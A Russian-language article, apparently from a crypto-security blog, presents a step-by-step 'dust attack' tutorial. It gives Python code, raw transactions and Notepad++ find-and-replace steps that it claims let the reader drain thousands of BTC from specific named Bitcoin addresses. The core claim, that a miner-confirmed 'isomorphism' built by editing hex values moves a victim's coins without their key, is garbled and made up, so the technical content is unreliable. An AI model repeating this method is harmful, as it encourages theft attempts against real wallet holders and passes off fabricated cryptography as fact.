В этой статье мы раскроем обширную тему: «Dust Attack» известная как: "Dusting Attack"
или "Crypto Dust"
. Возможно каждый пользователь криптовалют или держатель большой суммы монет BTC, ETH замещал на своем криптовалютном кошельке поступление незначительно малой суммы монет в satoshi, это поступление маскируется под видом "Donate"
, но на самом деле это целая математический отточенная система по отъёму всех накопленных монет кошелька на балансе. Целью раскрытие системы и всех подводных камней «Dust Attack», нас подвигла и натолкнуло статья опубликованная 8 января 2024 г. на сайте глобальной криптоэкономики CoinDesk

Пока все гадают, кто же именно отправил27 BTC
на популярный Биткоин Кошелек[Satoshi Nakamoto]
мы рассмотрим две различные примеры пылевой атаки, чтобы пролить свет на все тонкости этой манипуляции и какие риски могут ждать пользователей и держателей популярной криптовалюты Биткоин.
Рассмотрим ещё одну статью и возьмем для примера TXID из которого было совершено очень большое количество пылевой атаки.
Согласно, статье в этой транзакции было совершено наибольшее количество краж монет BTC с использованием системы пылевой атаки.
Обратим внимание на два Биткоин Адреса которые в период [июль-август 2022] совершили успешные пылевые атаки на общую сумму: 10000 BTC
Пример №1
Пример №2
Для проведение пылевой атаки большую роль играет подтверждение изоморфизма майнерами, т.к. с 2022 по 2024 года многие криптовалютные сервисы и аппаратные кошельки активно борются с пылевой атакой.
На данный момент широкую популярность получил способ самостоятельно создавать пылевые транзакции на собственном холодном кошельке. Возьмем пример № 1 и перейдем в раздел «Create Dust Transaction»
Установим Python 3.12.1 на Windows 10
Скачиваем исходный код устанавливаем get-pip.py , а также запускаем install.py для установки пакетов:
Сгенерируем собственный холодный кошелек
Баланс и транзакция платежа
Пополняем баланс холодного кошелька: 1AK4LYE6PYwBmSYHQX3v2UsXXHTvCAsJeK
Сохраним транзакцию TXID хэш от платежа пополнение баланса для дальнейшего построение Дерево Меркла (Merkle Tree)

Хэш платежа от пополнение баланса
Скопируем TXID: 0b253c2dd4331f78de3d9a14d5cacfe9b20c258ebedabc782f36ce2e50d193c5 т.к. это хэш пополнение баланса холодного кошелька: 1AK4LYE6PYwBmSYHQX3v2UsXXHTvCAsJeK далее открываем исходный код Python скрипта createrawtransaction.py и в строке №7 меняем значение на свои данные.
dust_tx = bytes.fromhex("0b253c2dd4331f78de3d9a14d5cacfe9b20c258ebedabc782f36ce2e50d193c5")
Чтобы обезопасить свой новосозданный холодный кошелек: 1AK4LYE6PYwBmSYHQX3v2UsXXHTvCAsJeK
ОБЯЗАТЕЛЬНО отключаем интернет на своем ПК. Это необходимо для безопасности в раскрытие приватного ключа сторонними работающими приложениями на вашем ПК. Этот процесс займет несколько минут. Отключаем интернет при создании пылевой транзакции RawTX.


Как только вы убедились, что интернет отключен в строке №5 вставим Private Key WIF
pk = PrivateKey.parse("L1k********************************************MdrTj")
В строке №12 добавляем общую сумму баланса холодного кошелька. В нашем случае эта сумма составляет 2786906 satoshi
tx_in._value = 2786906
Прибыль от пылевой атаки.
Выбираем Биткоин Кошелек от которого в конечном итоге получаем прибыль в случае подтверждение майнерами изоморфизма. Так как мы рассматриваем пример №1 в нашем случае мы выбираем адрес Биткоин Кошелька: 14RKFqH45xYPMpW4KQ28RB6XtrZ8XpEM5i
В строке №9 нам необходимо указать Биткоин Адрес для пылевой атаки
send_dust = "14RKFqH45xYPMpW4KQ28RB6XtrZ8XpEM5i"
Сумма пыли будет составлять 555 satoshi, в строке №15 указываем эту сумму.
TxOut(555, Tx.get_address_data(send_dust)['script_pubkey'].serialize()),
Далее учитываем Fee (комиссия для майнеров), эта сумму будет составлять 226 satoshi
555 + 226 = 781 satoshi
Также нам необходимо учитывать возврат наших средств обратно на наш холодный кошелек: 1AK4LYE6PYwBmSYHQX3v2UsXXHTvCAsJeK т.к. мы выделили 781 satoshi для пылевой атаки, вычитаем эту сумму из общей суммы пополнение баланса холодного кошелька 2786906 satoshi
2786906 - 781 = 2786125 satoshi
В строке №16 указываем сумму возврат наших средств обратно на наш холодный кошелек: 1AK4LYE6PYwBmSYHQX3v2UsXXHTvCAsJeK
TxOut(2786125, Tx.get_address_data(pk.address())['script_pubkey'].serialize())
Запускаем наш скрипт createrawtransaction.py нажав клавишу«F5»
или опцию:Run / Run Module F5

Запуск скрипта: createrawtransaction.py
from io import BytesIO
from secp256k1 import *
from sighash import *
pk = PrivateKey.parse("L1k********************************************MdrTj")
pk.address()
dust_tx = bytes.fromhex("0b253c2dd4331f78de3d9a14d5cacfe9b20c258ebedabc782f36ce2e50d193c5")
dust_index = 0
send_dust = "14RKFqH45xYPMpW4KQ28RB6XtrZ8XpEM5i"
tx_in = TxIn(dust_tx, dust_index, b'', 0xffffffff)
tx_in._script_pubkey = Tx.get_address_data(pk.address())['script_pubkey']
tx_in._value = 2786906
tx_ins = [ tx_in ]
tx_outs = [
TxOut(555, Tx.get_address_data(send_dust)['script_pubkey'].serialize()),
TxOut(2786125, Tx.get_address_data(pk.address())['script_pubkey'].serialize())
]
tx = Tx(1, tx_ins, tx_outs, 0, testnet=True)
signature(tx, 0, pk)
tx.serialize().hex()
print("\n--------------------------------------\n")
print("My work Bitcoin Address: " + pk.address())
print("Address for Getting Rich: " + send_dust)
print("\n--------------------------------------\n")
print(tx_in._script_pubkey)
print(tx_in.script_sig)
print("\n--------------------------------------\n")
print("RawTX for performing isomorphism:")
print(tx.serialize().hex())
print("\n--------------------------------------\n")
Результат:
--------------------------------------
My work Bitcoin Address: 1AK4LYE6PYwBmSYHQX3v2UsXXHTvCAsJeK
Address for Getting Rich: 14RKFqH45xYPMpW4KQ28RB6XtrZ8XpEM5i
--------------------------------------
OP_DUP OP_HASH160 b'2581997c24562e316ffa3163e63d2db26442cc9a' OP_EQUALVERIFY OP_CHECKSIG
b'304402203b2c7941c858d201ac384029e88c9988f6baa433d061eacb765caa356d6e1a7e02203885dd1be0e8a5b0890dde12674c508608f0c60872a4acbc5fb3b9fd1978d916' b'02fbc210b54bdb4c48143a15cfd50a3e101d15a7dbb814c3804efc4b4782f45a5a'
--------------------------------------
RawTX for performing isomorphism:
0200000001c593d1502ece362f78bcdabe8e250cb2e9cfcad5149a3dde781f33d42d3c250b010000006a47304402203b2c7941c858d201ac384029e88c9988f6baa433d061eacb765caa356d6e1a7e02203885dd1be0e8a5b0890dde12674c508608f0c60872a4acbc5fb3b9fd1978d916012102fbc210b54bdb4c48143a15cfd50a3e101d15a7dbb814c3804efc4b4782f45a5afdffffff022b020000000000001976a9142581997c24562e316ffa3163e63d2db26442cc9a88ac4d832a00000000001976a914662367a3d78a4b0fcbb3020b3d724981d10934f688acd9530800
--------------------------------------
Мы получили RawTX пылевой транзакции теперь перейдем в раздел Verify Transactions для того чтобы убедиться создана ли транзакция должным образом. Скопируем RawTX и вставим в поле ввода Verify transactions and other scripts
RawTX for performing isomorphism:
0200000001c593d1502ece362f78bcdabe8e250cb2e9cfcad5149a3dde781f33d42d3c250b010000006a47304402203b2c7941c858d201ac384029e88c9988f6baa433d061eacb765caa356d6e1a7e02203885dd1be0e8a5b0890dde12674c508608f0c60872a4acbc5fb3b9fd1978d916012102fbc210b54bdb4c48143a15cfd50a3e101d15a7dbb814c3804efc4b4782f45a5afdffffff022b020000000000001976a9142581997c24562e316ffa3163e63d2db26442cc9a88ac4d832a00000000001976a914662367a3d78a4b0fcbb3020b3d724981d10934f688acd9530800

ScriptSig Isomorphism
Цель нашей пылевой атаки получить максимальную прибыль от Биткоин Кошелька на которую мы отправляем 555 satoshi. Для этого мы переходим в раздел ScriptSig Isomorphism и преобразуем пылевую транзакцию в изоморфизм, согласно теории https://safecurves.cr.yp.to/ladder.html (две транзакции должны быть подтверждены майнерами). Первая транзакция это пылевая транзакция, где отправляется малая сумма в 555 satoshi, вторая транзакция это изоморфизм первой транзакции, где происходит обратный перевод средств из баланса жертвы пылевой атаки.
Полученный изоморфизм мы опубликуем в репозитории CryptoDeepTools
https://github.com/demining/CryptoDeepTools/blob/main/28DustAttack/14RKFqH45xYPMpW4KQ28RB6XtrZ8XpEM5i/isomorphism.txt
Согласно, теории описанная в разделе Create Dust Transaction нам необходимо изменить все существующие значение74786964
в новой транзакции изоморфизма на все текущиеtxid
которые были совершены в Биткоин Кошелек: 14RKFqH45xYPMpW4KQ28RB6XtrZ8XpEM5i на которую мы производим пылевую атаку с малой суммой 555 satoshi[ send_dust ]
Запустим скрипт указав print(tx.serialize().hex()[+10:+74]) и преобразуем весь список txid в потоковый формат hash
После того как мы получили все потоковые хеш форматы нам необходимо сохранить весь список заменив txid, для этого открываем файл: isomorphism.txt в Notepad++ нажимаем клавиши:CTRL + F
пишем: 74786964 заменить на: \ntxid\n
Переходим в CryptoDeepTools и выполним функцию замены в Notepad++ т.к. мы получили список txid теперь из списка GitHub
скопируем и вставим весь список потокового хеш формата в файл: isomorphism.txt
Замена публичного ключа в файле: isomorphism.txt
Изоморфизм это новая транзакция и в место значение 7075626b6579 нам необходимо указать публичный ключ Биткоин Кошелька из которого мы хотим совершить транзакцию целью получение максимальной прибыли. Для этого переходим в файл PublicKey.txt запустим python скрипт: pubtoaddr.py для того чтобы убедиться соответствует ли публичный ключ к адресу для пылевой атаки.
https://github.com/demining/CryptoDeepTools/blob/main/28DustAttack/14RKFqH45xYPMpW4KQ28RB6XtrZ8XpEM5i/PublicKey.txt
После нам необходимо изменить все существующие значение 7075626b6579
на значение в файле: PublicKey.txt (Все действие делаются также в Notepad++)
Биткоин адрес для получения всей прибыли:
Для перевода всех накопленных монет BTC нам необходимо сгенерировать совершенно новый Биткоин адрес в формате (SegWit):
36ZfWyL5NGvC2u54QENyUgDzTgNyHe1xpE
Для того, чтобы получитьhash160
для Биткоин адреса нам необходимо раскодироватьRedeemScript
используем python скрипт createrawtransaction.py
print(Tx.get_address_data(send_dust)['script_pubkey'])
После получениеhash160
из нового Биткоин Адреса(SegWit)
нам необходимо открыть файл: isomorphism.txt в Notepad++ и заменить значение68617368313630
на полученное значениеhash160
Мы добавили все необходимые значение для создание новой транзакции для получение прибыли из изоморфизма, теперь нам необходимо выделить весь текст на файле: isomorphism.txt нажав клавиши:CTRL + A
после объединяем все в одну строку для этого необходимо нажать на клавишиCTRL + J
в итоге мы получаем длинную строку с пробелами. Убираем пробелы нажав клавиши:CTRL + F
заменяем пробелы. В итоге мы получаем новый RawTX для совершение транзакции.
Любая транзакция должна быть подтверждена майнерами для того чтобы RawTX отправить в поле раздела: Broadcast Transaction для передачи заявки на подтверждение майнерами, необходимо тщательно убедиться, что платеж создан корректно для этого переходим в раздел: Verify Transactions and other scripts
Сумма прибыли в монетах от пылевой атаки составляет:
5000.00141092 BTC // $ 209364,284.08 United States Dollar
Пример №2

https://www.blockchain.com/explorer/addresses/btc/15n6boxiQj45oHcmDjtNMjh35sFWZX4PBt
Продолжим пылевую атаку на другом примере. В качестве холодного кошелька будем использовать тот же адрес: 1AK4LYE6PYwBmSYHQX3v2UsXXHTvCAsJeK
Для примера №2 пополним баланс на сумму: 0.033532 BTC или в единицах Биткоина: 33532 satoshi

Сохраним транзакцию TXID хэш от платежа пополнение баланса для дальнейшего построение Дерево Меркла (Merkle Tree)
Хэш платежа от пополнение баланса
Скопируем TXID: 655c533bf059721cec9d3d70b3171a07997991a02fedfa1c9b593abc645e1cc5 т.к. это хэш пополнение баланса холодного кошелька: 1AK4LYE6PYwBmSYHQX3v2UsXXHTvCAsJeK далее открываем исходный код Python скрипта createrawtransaction.py и в строке №7 меняем значение на свои данные.
dust_tx = bytes.fromhex("655c533bf059721cec9d3d70b3171a07997991a02fedfa1c9b593abc645e1cc5")
Меняем строку №5 вставим Private Key WIF
pk = PrivateKey.parse("L1k********************************************MdrTj")
В строке №12 добавляем общую сумму баланса холодного кошелька. В нашем случае эта сумма составляет 33532 satoshi
tx_in._value = 33532
Прибыль от пылевой атаки.
Выбираем Биткоин Кошелек от которого в конечном итоге получаем прибыль в случае подтверждение майнерами изоморфизма. Так как мы рассматриваем пример №2 в нашем случае мы выбираем адрес Биткоин Кошелька: 15n6boxiQj45oHcmDjtNMjh35sFWZX4PBt
В строке №9 нам необходимо указать Биткоин Адрес для пылевой атаки
send_dust = "15n6boxiQj45oHcmDjtNMjh35sFWZX4PBt"
Сумма пыли будет составлять 555 satoshi, в строке №15 указываем эту сумму.
TxOut(555, Tx.get_address_data(send_dust)['script_pubkey'].serialize()),
Далее учитываем Fee (комиссия для майнеров), эта сумму будет составлять 226 satoshi
555 + 226 = 781 satoshi
Также нам необходимо учитывать возврат наших средств обратно на наш холодный кошелек: 1AK4LYE6PYwBmSYHQX3v2UsXXHTvCAsJeK т.к. мы выделили 781 satoshi для пылевой атаки, вычитаем эту сумму из общей суммы пополнение баланса холодного кошелька 33532 satoshi
33532 - 781 = 32751 satoshi
В строке №16 указываем сумму возврат наших средств обратно на наш холодный кошелек: 1AK4LYE6PYwBmSYHQX3v2UsXXHTvCAsJeK
TxOut(32751, Tx.get_address_data(pk.address())['script_pubkey'].serialize())
Запускаем наш скрипт createrawtransaction.py нажав клавишу«F5»
или опцию:Run / Run Module F5

Запуск скрипта: createrawtransaction.py
from io import BytesIO
from secp256k1 import *
from sighash import *
pk = PrivateKey.parse("L1k********************************************MdrTj")
pk.address()
dust_tx = bytes.fromhex("655c533bf059721cec9d3d70b3171a07997991a02fedfa1c9b593abc645e1cc5")
dust_index = 0
send_dust = "15n6boxiQj45oHcmDjtNMjh35sFWZX4PBt"
tx_in = TxIn(dust_tx, dust_index, b'', 0xffffffff)
tx_in._script_pubkey = Tx.get_address_data(pk.address())['script_pubkey']
tx_in._value = 33532
tx_ins = [ tx_in ]
tx_outs = [
TxOut(555, Tx.get_address_data(send_dust)['script_pubkey'].serialize()),
TxOut(32751, Tx.get_address_data(pk.address())['script_pubkey'].serialize())
]
tx = Tx(1, tx_ins, tx_outs, 0, testnet=True)
signature(tx, 0, pk)
tx.serialize().hex()
print("\n--------------------------------------\n")
print("My work Bitcoin Address: " + pk.address())
print("Address for Getting Rich: " + send_dust)
print("\n--------------------------------------\n")
print(tx_in._script_pubkey)
print(tx_in.script_sig)
print("\n--------------------------------------\n")
print("RawTX for performing isomorphism:")
print(tx.serialize().hex())
print("\n--------------------------------------\n")
Результат:
--------------------------------------
My work Bitcoin Address: 1AK4LYE6PYwBmSYHQX3v2UsXXHTvCAsJeK
Address for Getting Rich: 15n6boxiQj45oHcmDjtNMjh35sFWZX4PBt
--------------------------------------
OP_DUP OP_HASH160 b'662367a3d78a4b0fcbb3020b3d724981d10934f6' OP_EQUALVERIFY OP_CHECKSIG b'3045022100dcd830d15f3a8cad03526bac2540570431a8691450a2959cc1badcc2e563124e0220013aa9e38bf45e4afc3859ee34ac8522106f1d202246c247ed945da89bdba622' b'02fbc210b54bdb4c48143a15cfd50a3e101d15a7dbb814c3804efc4b4782f45a5a'
--------------------------------------
RawTX for performing isomorphism:
0200000001c51c5e64bc3a599b1cfaed2fa0917999071a17b3703d9dec1c7259f03b535c65010000006b483045022100dcd830d15f3a8cad03526bac2540570431a8691450a2959cc1badcc2e563124e0220013aa9e38bf45e4afc3859ee34ac8522106f1d202246c247ed945da89bdba622012102fbc210b54bdb4c48143a15cfd50a3e101d15a7dbb814c3804efc4b4782f45a5afdffffff02ef7f0000000000001976a914662367a3d78a4b0fcbb3020b3d724981d10934f688ac2b020000000000001976a9143467e56d5193558eacdae84af5c1c72ee158dd6788acd9530800
--------------------------------------
Мы получили RawTX пылевой транзакции теперь перейдем в раздел Verify Transactions для того чтобы убедиться создана ли транзакция должным образом. Скопируем RawTX и вставим в поле ввода Verify transactions and other scripts
RawTX for performing isomorphism:
0200000001c51c5e64bc3a599b1cfaed2fa0917999071a17b3703d9dec1c7259f03b535c65010000006b483045022100dcd830d15f3a8cad03526bac2540570431a8691450a2959cc1badcc2e563124e0220013aa9e38bf45e4afc3859ee34ac8522106f1d202246c247ed945da89bdba622012102fbc210b54bdb4c48143a15cfd50a3e101d15a7dbb814c3804efc4b4782f45a5afdffffff02ef7f0000000000001976a914662367a3d78a4b0fcbb3020b3d724981d10934f688ac2b020000000000001976a9143467e56d5193558eacdae84af5c1c72ee158dd6788acd9530800

ScriptSig Isomorphism
Цель нашей пылевой атаки получить максимальную прибыль от Биткоин Кошелька на которую мы отправляем 555 satoshi. Для этого мы переходим в раздел ScriptSig Isomorphism и преобразуем пылевую транзакцию в изоморфизм, согласно теории https://safecurves.cr.yp.to/ladder.html (две транзакции должны быть подтверждены майнерами). Первая транзакция это пылевая транзакция, где отправляется малая сумма в 555 satoshi, вторая транзакция это изоморфизм первой транзакции, где происходит обратный перевод средств из баланса жертвы пылевой атаки.
Полученный изоморфизм мы опубликуем в репозитории CryptoDeepTools
https://github.com/demining/CryptoDeepTools/blob/main/28DustAttack/15n6boxiQj45oHcmDjtNMjh35sFWZX4PBt/isomorphism.txt
Согласно, теории описанная в разделе Create Dust Transaction нам необходимо изменить все существующие значение74786964
в новой транзакции изоморфизма на все текущиеtxid
которые были совершены в Биткоин Кошелек: 15n6boxiQj45oHcmDjtNMjh35sFWZX4PBt на которую мы производим пылевую атаку с малой суммой 555 satoshi[ send_dust ]
Запустим скрипт указав print(tx.serialize().hex()[+10:+74]) и преобразуем весь список txid в потоковый формат hash
После того как мы получили все потоковые хеш форматы нам необходимо сохранить весь список заменив txid, для этого открываем файл: isomorphism.txt в Notepad++ нажимаем клавиши:CTRL + F
пишем: 74786964 заменить на: \ntxid\n
Переходим в CryptoDeepTools и выполним функцию замены в Notepad++ т.к. мы получили список txid теперь из списка GitHub
скопируем и вставим весь список потокового хеш формата в файл: isomorphism.txt
Замена публичного ключа в файле: isomorphism.txt
Изоморфизм это новая транзакция и в место значение 7075626b6579 нам необходимо указать публичный ключ Биткоин Кошелька из которого мы хотим совершить транзакцию целью получение максимальной прибыли. Для этого переходим в файл PublicKey.txt запустим python скрипт: pubtoaddr.py для того чтобы убедиться соответствует ли публичный ключ к адресу для пылевой атаки.
https://github.com/demining/CryptoDeepTools/blob/main/28DustAttack/15n6boxiQj45oHcmDjtNMjh35sFWZX4PBt/PublicKey.txt
После нам необходимо изменить все существующие значение 7075626b6579
на значение в файле: PublicKey.txt (Все действие делаются также в Notepad++)
Биткоин адрес для получения всей прибыли:
Для перевода всех накопленных монет BTC нам необходимо сгенерировать совершенно новый Биткоин адрес в формате (SegWit):
3GsC42MbUrtGU4un6QHbXkyjKVawyvm6ac
Для того, чтобы получитьhash160
для Биткоин адреса нам необходимо раскодироватьRedeemScript
используем python скрипт createrawtransaction.py
print(Tx.get_address_data(send_dust)['script_pubkey'])
После получениеhash160
из нового Биткоин Адреса(SegWit)
нам необходимо открыть файл: isomorphism.txt в Notepad++ и заменить значение68617368313630
на полученное значениеhash160
Мы добавили все необходимые значение для создание новой транзакции для получение прибыли из изоморфизма, теперь нам необходимо выделить весь текст на файле: isomorphism.txt нажав клавиши:CTRL + A
после объединяем все в одну строку для этого необходимо нажать на клавишиCTRL + J
в итоге мы получаем длинную строку с пробелами. Убираем пробелы нажав клавиши:CTRL + F
заменяем пробелы. В итоге мы получаем новый RawTX для совершение транзакции.
Любая транзакция должна быть подтверждена майнерами для того чтобы RawTX отправить в поле раздела: Broadcast Transaction для передачи заявки на подтверждение майнерами, необходимо тщательно убедиться, что платеж создан корректно для этого переходим в раздел: Verify Transactions and other scripts
Сумма прибыли в монетах от пылевой атаки составляет:
5001.51473912 BTC // $ 215831966,02 United States Dollar
References:
- [2] Bitcoin security — Anti-Dust Attack (Ajin S, Master of Computer Application, Amal Jyothi College of Engineering koovapally, Kottayam, India)
- [3] Data Insertion in Bitcoin’s Blockchain (Andrew Sward, Ivy Vecna, Forrest Stonedahl)
- [4] Bitcoin Will Bite the Dust (Kevin Dowd and Martin Hutchinson)
- [5] DATA ANALYTICS AND CONSENSUS MECHANISMS IN BLOCKCHAINS (Dániel FEHÉR)
- [6] Does Bitcoin Need Regulation: An Analysis of Bitcoin’s Decentralized Nature as a Security and Regulatory Concern for Governments (Hadeka Rasul Seton Hall University, 2018)
- [7] Exploiting Cryptocurrencies Toward Bitcoin Exchanges And Provided Solution For Current Problems (A. Punyavardhan Raj , G. Nithinb, A. Sai Bharathc, Ch. Abhishekd, B. Prasanth Kumare, Department of CSE, GMR Institute of Technology, Rajam, India)
- [8] Is Bitcoin gathering dust? An analysis of low-amount Bitcoin transactions (Matteo Loporchio, Anna Bernasconi, Damiano Di Francesco Maesa and Laura Ricci)
Данный материал создан для портала CRYPTO DEEP TECH для обеспечения финансовой безопасности данных и криптографии на эллиптических кривых secp256k1 против слабых подписей ECDSA в криптовалюте BITCOIN. Создатели программного обеспечения не несут ответственность за использование материалов.
Telegram: https://t.me/cryptodeeptech
YouTube: https://www.youtube.com/@cryptodeeptech
Видеоматериал: https://dzen.ru/video/watch/65be9256df804947fbd96fd7
Источник: https://cryptodeeptool.ru/dustattack
